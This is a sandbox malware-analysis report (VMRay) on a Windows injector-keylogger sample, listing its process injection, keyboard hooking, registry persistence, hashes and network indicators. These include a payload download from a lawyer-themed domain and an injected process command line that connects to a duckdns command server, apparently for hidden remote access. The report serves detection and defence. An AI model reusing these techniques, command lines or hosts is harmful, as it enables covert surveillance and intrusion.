MALICIOUS
Classifications: Injector Keylogger
Threat Names: - Verdict Reason: -
Sample Type Windows Exe (x86-32)
File Name 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5.exe
ID #1561912
MD5 e41f3d5033575c4f4cf2acd0d1d0624d
SHA1 18ff7a2ec479855e65ba2a83deeb917abed16ff9
SHA256 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5
File Size 17.50 KB
Report Created 2022-02-09 21:31 (UTC+1)
Target Environment win10_64_th2_en_mso2016 | exe
OVERVIEW
VMRay Threat Identifiers (15 rules, 26 matches)
Score Category Operation Count Classification
4/5 Execution Executes encoded PowerShell command 1 -
(Process #1) 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5.exe executes base64-encoded Powershell command.
•
4/5 Injection Writes into the memory of another process 2 Injector
(Process #1) 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5.exe modifies memory of (process #6) msbuild.exe.
(Process #6) msbuild.exe modifies memory of (process #8) cvtres.exe.
•
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4/5 Injection Modifies control flow of another process 2 -
(Process #1) 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5.exe alters context of (process #6) msbuild.exe.
(Process #6) msbuild.exe alters context of (process #8) cvtres.exe.
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3/5 Input Capture Monitors keyboard input 1 Keylogger
(Process #6) msbuild.exe installs system wide "WH_KEYBOARD_LL" hook(s) to monitor keystrokes.
•
2/5 Masquerade Creates a new process from a system binary 1 -
(Process #6) msbuild.exe creates a new explorer.exe process.
•
2/5 Network Connection File contains known DDNS domain 1 -
Embedded URL vncnew1984.duckdns.org leads to a host of dynamic DNS provider duckdns.org.
•
1/5 Hide Tracks Creates process with hidden window 5 -
(Process #1) 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5.exe starts (process #2) powershell.exe with a hidden window.
(Process #2) powershell.exe starts (process #4) cmd.exe with a hidden window.
(Process #1) 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5.exe starts (process #6) msbuild.exe with a hidden window.
(Process #6) msbuild.exe starts (process #7) explorer.exe with a hidden window.
(Process #6) msbuild.exe starts (process #8) cvtres.exe with a hidden window.
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•
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1/5 Privilege Escalation Enables process privilege 2 -
(Process #1) 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5.exe enables process privilege "SeDebugPrivilege".
(Process #6) msbuild.exe enables process privilege "SeDebugPrivilege".
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•
1/5 Persistence Installs system startup script or application 1 -
(Process #1) 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5.exe adds ""C:\Users\RDhJ0CNFevzX\AppData\Roaming\Demo\Test.exe"" to Windows startup via registry.
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Score Category Operation Count Classification
1/5 Obfuscation Creates a page with write and execute permissions 2 -
(Process #1) 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5.exe allocates a page in a foreign process with "PAGE_EXECUTE_READWRITE" permissions, often used to dynamically unpack code.
(Process #6) msbuild.exe allocates a page in a foreign process with "PAGE_EXECUTE_READWRITE" permissions, often used to dynamically unpack code.
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1/5 Mutex Creates mutex 1 -
(Process #8) cvtres.exe creates mutex with name "ecZCILAfG".
•
1/5 Network Connection Performs DNS request 1 -
(Process #1) 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5.exe resolves host name "limanlimanlawyers.com" to IP "23.94.150.194".
•
1/5 Network Connection Connects to remote host 2 -
(Process #1) 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5.exe accepts an incoming TCP connection from host "23.94.150.194:443".
(Process #1) 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5.exe opens an outgoing TCP connection to host "23.94.150.194:443".
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Mitre ATT&CK Matrix
Initial Access Execution Persistence Privilege Escalation
Defense Evasion
Credential
Access Discovery Lateral
Movement Collection Command
and Control Exfiltration Impact
#T1086 PowerShell
#T1060 Registry Run Keys / Startup
Folder
#T1179
Hooking #T1143 Hidden
Window #T1056 Input Capture
#T1057 Process Discovery
#T1056 Input Capture
#T1179
Hooking #T1112 Modify
Registry #T1179 Hooking
#T1045 Software Packing
#T1140 Deobfuscate/
Decode Files or Information
#T1027 Obfuscated
Files or Information
Sample Information
Analysis Information
ID #1561912
MD5 e41f3d5033575c4f4cf2acd0d1d0624d
SHA1 18ff7a2ec479855e65ba2a83deeb917abed16ff9
SHA256 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5
SSDeep 384:eBAiyJNFVJU14KU6nX2D+bFQkNubvg+4OXEW46njPHoWWDDDDDDDDDDN:iGFwWp6nnb+/XjDjYDDDDDDDDDDN
ImpHash f34d5f2d4577ed6d9ceec516c1f5a744
File Name 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5.exe
File Size 17.50 KB
Sample Type Windows Exe (x86-32)
Has Macros
Creation Time 2022-02-09 21:31 (UTC+1)
Analysis Duration 00:04:00
Termination Reason Timeout
Number of Monitored Processes 7
Execution Successful False
Reputation Enabled
WHOIS Enabled
Built-in AV Enabled
Built-in AV Applied On Sample Files, PCAP File, Downloaded Files, Dropped Files, Modified Files, Memory Dumps, Embedded Files
Number of AV Matches 0
YARA Enabled
YARA Applied On Sample Files, PCAP File, Downloaded Files, Dropped Files, Modified Files, Memory Dumps, Embedded Files
Number of YARA Matches 0
Screenshots truncated
NETWORK
General
DNS
HTTP/S
HTTP Requests
Method URL Dest. IP Dest. Port Status Code Response Size Verdict
DNS Requests
Type Hostname Response Code Resolved IPs CNames Verdict
3.56 KB total sent
1048.75 KB total received 1 ports 443
2 contacted IP addresses
1 URLs extracted 0 files downloaded
0 malicious hosts detected
1 DNS requests for 1 domains 1 nameservers contacted
0 total requests returned errors
1 URLs contacted, 1 servers
1 sessions, 3.56 KB sent, 1048.75 KB received
vncnew1984.duckdns.org - - 0 bytes NA
GET https://limanlimanlawyers.com/cv/Jikte.jpg - - 0 bytes NA
A limanlimanlawyers.com NoError 23.94.150.194 NA
BEHAVIOR
Process Graph
Sample Start #1
4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5.exe
#2 powershell.exe Child Process
#6 msbuild.exe Modify Memory
Modify Control Flow Child Process
#4 cmd.exe
Child Process #5
timeout.exe Child Process
#7 explorer.exe Child Process
#8 cvtres.exe Modify Memory
Modify Control Flow Child Process
Process #1: 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5.exe
Dropped Files (1)
File Name File Size SHA256 YARA Match
Host Behavior
Type Count
Network Behavior
Type Count
ID 1
File Name c:\users\rdhj0cnfevzx\desktop\4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5.exe Command Line "C:\Users\RDhJ0CNFevzX\Desktop\4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e0a5.exe"
Initial Working Directory C:\Users\RDhJ0CNFevzX\Desktop\
Monitor Start Time Start Time: 70955, Reason: Analysis Target Unmonitor End Time End Time: 238185, Reason: Terminated
Monitor duration 167.23s
Return Code 0
PID 240
Parent PID 1676
Bitness 32 Bit
C:\Users\RDhJ0CNFevzX\AppData\Roaming\Demo\Test.exe 17.50 KB 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e 0a5
- 10
Registry 27
Process 105
File 26
System 111
Environment 10
Module 31
User 2
- 3
- 7
HTTPS 1
DNS 1
TCP 1
Process #2: powershell.exe
Host Behavior
Type Count
ID 2
File Name c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
Command Line "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc YwBtAGQAIAAvAEMAIAB0AGkAbQBlAG8AdQB0ACAAMgAyAA==
Initial Working Directory C:\Users\RDhJ0CNFevzX\Desktop\
Monitor Start Time Start Time: 113706, Reason: Child Process Unmonitor End Time End Time: 182521, Reason: Terminated
Monitor duration 68.81s
Return Code 0
PID 1592
Parent PID 240
Bitness 32 Bit
Module 5
File 31
Environment 14
Registry 2
Process 1
- 13
Process #4: cmd.exe
Host Behavior
Type Count
ID 4
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C timeout 22
Initial Working Directory C:\Users\RDhJ0CNFevzX\Desktop\
Monitor Start Time Start Time: 158620, Reason: Child Process Unmonitor End Time End Time: 181868, Reason: Terminated
Monitor duration 23.25s
Return Code 0
PID 5100
Parent PID 1592
Bitness 32 Bit
Module 8
Registry 17
File 18
Environment 19
System 1
Process 1
Process #5: timeout.exe
Host Behavior
Type Count
ID 5
File Name c:\windows\syswow64\timeout.exe
Command Line timeout 22
Initial Working Directory C:\Users\RDhJ0CNFevzX\Desktop\
Monitor Start Time Start Time: 158969, Reason: Child Process Unmonitor End Time End Time: 181862, Reason: Terminated
Monitor duration 22.89s
Return Code 0
PID 3256
Parent PID 5100
Bitness 32 Bit
Module 2
System 343
File 154
Process #6: msbuild.exe
Injection Information (6)
Injection Type Source Process Source / Target TID Address / Name Size Success Count
Dropped Files (1)
File Name File Size SHA256 YARA Match
ID 6
File Name c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe Command Line C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Initial Working Directory C:\Users\RDhJ0CNFevzX\Desktop\
Monitor Start Time Start Time: 234334, Reason: Child Process Unmonitor End Time End Time: 274863, Reason: Terminated
Monitor duration 40.53s
Return Code 1073807364
PID 5056
Parent PID 240
Bitness 32 Bit
Modify Memory
#1: c:
\users\rdhj0cnfevzx\desktop
\4c4d844ace41156600bf0c2 ab9df287538002abf30d0ba3f 50836b2e49f5e0a5.exe
0xd14 0x400000(4194304) 0x200 1
Modify Memory
#1: c:
\users\rdhj0cnfevzx\desktop
\4c4d844ace41156600bf0c2 ab9df287538002abf30d0ba3f 50836b2e49f5e0a5.exe
0xd14 0x402000(4202496) 0x59e00 1
Modify Memory
#1: c:
\users\rdhj0cnfevzx\desktop
\4c4d844ace41156600bf0c2 ab9df287538002abf30d0ba3f 50836b2e49f5e0a5.exe
0xd14 0x45c000(4571136) 0x1200 1
Modify Memory
#1: c:
\users\rdhj0cnfevzx\desktop
\4c4d844ace41156600bf0c2 ab9df287538002abf30d0ba3f 50836b2e49f5e0a5.exe
0xd14 0x45e000(4579328) 0x200 1
Modify Memory
#1: c:
\users\rdhj0cnfevzx\desktop
\4c4d844ace41156600bf0c2 ab9df287538002abf30d0ba3f 50836b2e49f5e0a5.exe
0xd14 0x34d008(3461128) 0x4 1
Modify Control Flow
#1: c:
\users\rdhj0cnfevzx\desktop
\4c4d844ace41156600bf0c2 ab9df287538002abf30d0ba3f 50836b2e49f5e0a5.exe
0xd14 / 0x10bc - 1
C:\Users\RDhJ0CNFevzX\AppData\Roaming\tempp4nd0r4 28 bytes 0429aad3007c2d9b26ed655f02e94545ba94bd4caa95e510c3ad163747c a725b
Type Count
System 11
Module 27
File 5
- 3
- 7
Registry 3
Keyboard 5
Process #7: explorer.exe
ID 7
File Name c:\windows\explorer.exe
Command Line "C:\Windows\explorer.exe"
Initial Working Directory C:\Users\RDhJ0CNFevzX\Desktop\
Monitor Start Time Start Time: 240353, Reason: Child Process Unmonitor End Time End Time: 242866, Reason: Terminated
Monitor duration 2.51s
Return Code 2
PID 4296
Parent PID 5056
Bitness 64 Bit
Process #8: cvtres.exe
Injection Information (6)
Injection Type Source Process Source / Target TID Address / Name Size Success Count
Host Behavior
Type Count
ID 8
File Name c:\windows\microsoft.net\framework\v4.0.30319\cvtres.exe
Command Line "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
Initial Working Directory C:\Users\RDhJ0CNFevzX\Desktop\
Monitor Start Time Start Time: 241001, Reason: Child Process Unmonitor End Time End Time: 268271, Reason: Terminated
Monitor duration 27.27s
Return Code 1073807364
PID 4996
Parent PID 5056
Bitness 32 Bit
Modify Memory
#6: c:
\windows\microsoft.net\fra mework\v4.0.30319\msbuil d.exe
0x10bc 0x400000(4194304) 0x200 1
Modify Memory
#6: c:
\windows\microsoft.net\fra mework\v4.0.30319\msbuil d.exe
0x10bc 0x402000(4202496) 0xe600 1
Modify Memory
#6: c:
\windows\microsoft.net\fra mework\v4.0.30319\msbuil d.exe
0x10bc 0x412000(4268032) 0x600 1
Modify Memory
#6: c:
\windows\microsoft.net\fra mework\v4.0.30319\msbuil d.exe
0x10bc 0x414000(4276224) 0x200 1
Modify Memory
#6: c:
\windows\microsoft.net\fra mework\v4.0.30319\msbuil d.exe
0x10bc 0x243008(2371592) 0x4 1
Modify Control Flow
#6: c:
\windows\microsoft.net\fra mework\v4.0.30319\msbuil d.exe
0x10bc / 0xf68 - 1
File 24
Registry 2
Module 18
Mutex 1
ARTIFACTS
File
SHA256 File Names Category File Size MIME Type Operations Verdict
Filename
File Name Category Operations Verdict
4c4d844ace41156600bf0c2a b9df287538002abf30d0ba3f5 0836b2e49f5e0a5
C:
\Users\RDhJ0CNFevzX\Desktop\4c4 d844ace41156600bf0c2ab9df28753800 2abf30d0ba3f50836b2e49f5e0a5.exe, C:
\Users\RDhJ0CNFevzX\AppData\Ro aming\Demo\Test.exe
Sample File 17.50 KB application/
vnd.microsoft.portable-
executable Access, Write, Create MALICIOUS
0429aad3007c2d9b26ed655f 02e94545ba94bd4caa95e51 0c3ad163747ca725b
C:
\Users\RDhJ0CNFevzX\AppData\Ro
aming\tempp4nd0r4 Dropped File 28 bytes text/plain Access, Write, Create CLEAN
C:
\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.co
nfig Accessed File Read, Access CLEAN
C:
\Users\RDhJ0CNFevzX\Desktop\4c4d844ace41156600bf0c2ab9df28 7538002abf30d0ba3f50836b2e49f5e0a5.exe.config
Accessed File Access CLEAN
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Accessed File Access CLEAN
C:\Windows\system32 Accessed File Access CLEAN
C:\Windows\system32\cmd.exe Accessed File Access CLEAN
C:\Windows\SysWOW64\cmd.exe Accessed File Access CLEAN
C:\Users\RDhJ0CNFevzX\Desktop Accessed File Access CLEAN
C:\Windows\SysWOW64\timeout.exe Accessed File Access CLEAN
C:
\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.co
nfig Accessed File Access CLEAN
System Paging File Accessed File Access CLEAN
C:
\Users\RDhJ0CNFevzX\Desktop\4c4d844ace41156600bf0c2ab9df28
7538002abf30d0ba3f50836b2e49f5e0a5.exe Sample File Access CLEAN
C:\Users\RDhJ0CNFevzX\AppData\Roaming\Demo Accessed File Access, Create CLEAN
C:\Users\RDhJ0CNFevzX\AppData\Roaming Accessed File Access CLEAN
C:\Users\RDhJ0CNFevzX\AppData\Roaming\Demo\Test.exe Sample File Access, Write, Create CLEAN
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Accessed File Access CLEAN
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ Accessed File Access CLEAN
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.Config Accessed File Read, Access CLEAN
C:\Users\RDhJ0CNFevzX\AppData\Roaming\tempp4nd0r4 Dropped File Access, Write, Create CLEAN
Domain
Domain IP Address Country Protocols Verdict
IP
IP Address Domains Country Protocols Verdict
Mutex
Name Operations Parent Process Name Verdict
Registry
Registry Key Operations Parent Process Name Verdict
vncnew1984.duckdns.org - - HTTP SUSPICIOUS
limanlimanlawyers.com 23.94.150.194 - DNS, HTTPS CLEAN
192.168.0.1 - - UDP, DNS CLEAN
23.94.150.194 limanlimanlawyers.com United States DNS, TCP, HTTPS CLEAN
ecZCILAfG access cvtres.exe CLEAN
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion access 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\InstallationType read, access 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\
AppContext access 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\
v4.0.30319 access 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\
v4.0.30319\SchUseStrongCrypto read, access 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Po
werShell\ScriptBlockLogging access powershell.exe CLEAN
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Po
werShell\ScriptBlockLogging access powershell.exe CLEAN
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Sy
stem access cmd.exe CLEAN
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor access cmd.exe CLEAN
HKEY_LOCAL_MACHINE\Software\Microsoft\Command
Processor\DisableUNCCheck read, access cmd.exe CLEAN
HKEY_LOCAL_MACHINE\Software\Microsoft\Command
Processor\EnableExtensions read, access cmd.exe CLEAN
HKEY_LOCAL_MACHINE\Software\Microsoft\Command
Processor\DelayedExpansion read, access cmd.exe CLEAN
HKEY_LOCAL_MACHINE\Software\Microsoft\Command
Processor\DefaultColor read, access cmd.exe CLEAN
HKEY_LOCAL_MACHINE\Software\Microsoft\Command
Processor\CompletionChar read, access cmd.exe CLEAN
HKEY_LOCAL_MACHINE\Software\Microsoft\Command
Processor\PathCompletionChar read, access cmd.exe CLEAN
HKEY_LOCAL_MACHINE\Software\Microsoft\Command
Processor\AutoRun read, access cmd.exe CLEAN
HKEY_CURRENT_USER\Software\Microsoft\Command Processor access cmd.exe CLEAN
HKEY_CURRENT_USER\Software\Microsoft\Command
Processor\DisableUNCCheck read, access cmd.exe CLEAN
HKEY_CURRENT_USER\Software\Microsoft\Command
Processor\EnableExtensions read, access cmd.exe CLEAN
Registry Key Operations Parent Process Name Verdict HKEY_CURRENT_USER\Software\Microsoft\Command
Processor\DelayedExpansion read, access cmd.exe CLEAN
HKEY_CURRENT_USER\Software\Microsoft\Command
Processor\DefaultColor read, access cmd.exe CLEAN
HKEY_CURRENT_USER\Software\Microsoft\Command
Processor\CompletionChar read, access cmd.exe CLEAN
HKEY_CURRENT_USER\Software\Microsoft\Command
Processor\PathCompletionChar read, access cmd.exe CLEAN
HKEY_CURRENT_USER\Software\Microsoft\Command
Processor\AutoRun read, access cmd.exe CLEAN
HKEY_PERFORMANCE_DATA access powershell.exe,
4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508 36b2e49f5e0a5.exe
CLEAN
HKEY_CURRENT_USER access 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Current
Version\Internet Settings\Connections access 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\Internet Settings\Connections access 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows
\CurrentVersion\Internet Settings access 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework access 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\
LegacyWPADSupport read, access 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\W. Europe Standard Time access 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\W. Europe Standard Time\TZI read, access 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard Time\Dynamic
DST access 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\W. Europe Standard
Time\MUI_Display read, access 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\W. Europe Standard Time\MUI_Std read, access 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Time Zones\W. Europe Standard Time\MUI_Dlt read, access 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\
v4.0.30319\HWRPortReuseOnSocketBind read, access 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVer
sion\Run access 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVer
sion\Run\Test read, access, write 4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f508
36b2e49f5e0a5.exe CLEAN
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework access msbuild.exe CLEAN
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Dbg
JITDebugLaunchSetting read, access msbuild.exe CLEAN
Process
Process Name Commandline Verdict
4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49f5e 0a5.exe
"C:
\Users\RDhJ0CNFevzX\Desktop\4c4d844ace41156600bf0c2ab9df287538002abf30d0ba3f50836b2e49
f5e0a5.exe" MALICIOUS
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc
YwBtAGQAIAAvAEMAIAB0AGkAbQBlAG8AdQB0ACAAMgAyAA== SUSPICIOUS
msbuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe SUSPICIOUS
explorer.exe "C:\Windows\explorer.exe" SUSPICIOUS
cmd.exe "C:\Windows\system32\cmd.exe" /C timeout 22 CLEAN
timeout.exe timeout 22 CLEAN
cvtres.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org
1984 ecZCILAfG CLEAN
YARA / AV
No YARA or AV matches available.
ENVIRONMENT
Virtual Machine Information
Platform Information
Anti Virus Information
Software Information
System Information
Name win10_64_th2_en_mso2016
Description win10_64_th2_en_mso2016
Architecture x86 64-bit
Operating System Windows 10 Threshold 2
Kernel Version 10.0.10586.0 (0de6dc23-8e19-4bb7-8608-d54b1e6fa379) Network Scheme Name Local Gateway
Network Config Name Local Gateway
Platform Version 4.4.1
Dynamic Engine Version 4.4.1 / 01/14/2022 05:06
Static Engine Version 4.4.1.0 / 2022-01-14 04:00:58
AV Exceptions Version 4.4.1.6 / 2021-12-14 15:06:27 Link Detonation Heuristics Version 4.4.1.7 / 2021-12-15 19:11:26
Smart Memory Dumping Rules
Version 4.4.1.6 / 2021-12-14 15:06:27
Signature Trust Store Version 4.4.1.6 / 2021-12-14 15:06:27 VMRay Threat Identifiers Version 4.4.1.8 / 2022-01-07 14:24:33
YARA Built-in Ruleset Version 4.4.1.10
Built-in AV Version AVCORE v2.2 Linux/x86_64 11.0.1.19 (March 15, 2021)
Built-in AV Database Update Release
Date 2022-02-09 15:45:26+00:00
Built-in AV Database Records 11128487
Adobe Acrobat Reader Version Not installed
Microsoft Office 2016
Microsoft Office Version 16.0.4266.1003
Hangul Office Not installed
Hangul Office Version Not installed
Internet Explorer Version 11.0.10586.0
Chrome Version Not installed
Firefox Version Not installed
Flash Version Not installed
Java Version Not installed
Sample Directory C:\Users\RDhJ0CNFevzX\Desktop
Computer Name XC64ZB
User Domain XC64ZB
User Name RDhJ0CNFevzX
User Profile C:\Users\RDhJ0CNFevzX
Temp Directory C:\Users\RDHJ0C~1\AppData\Local\Temp
System Root C:\Windows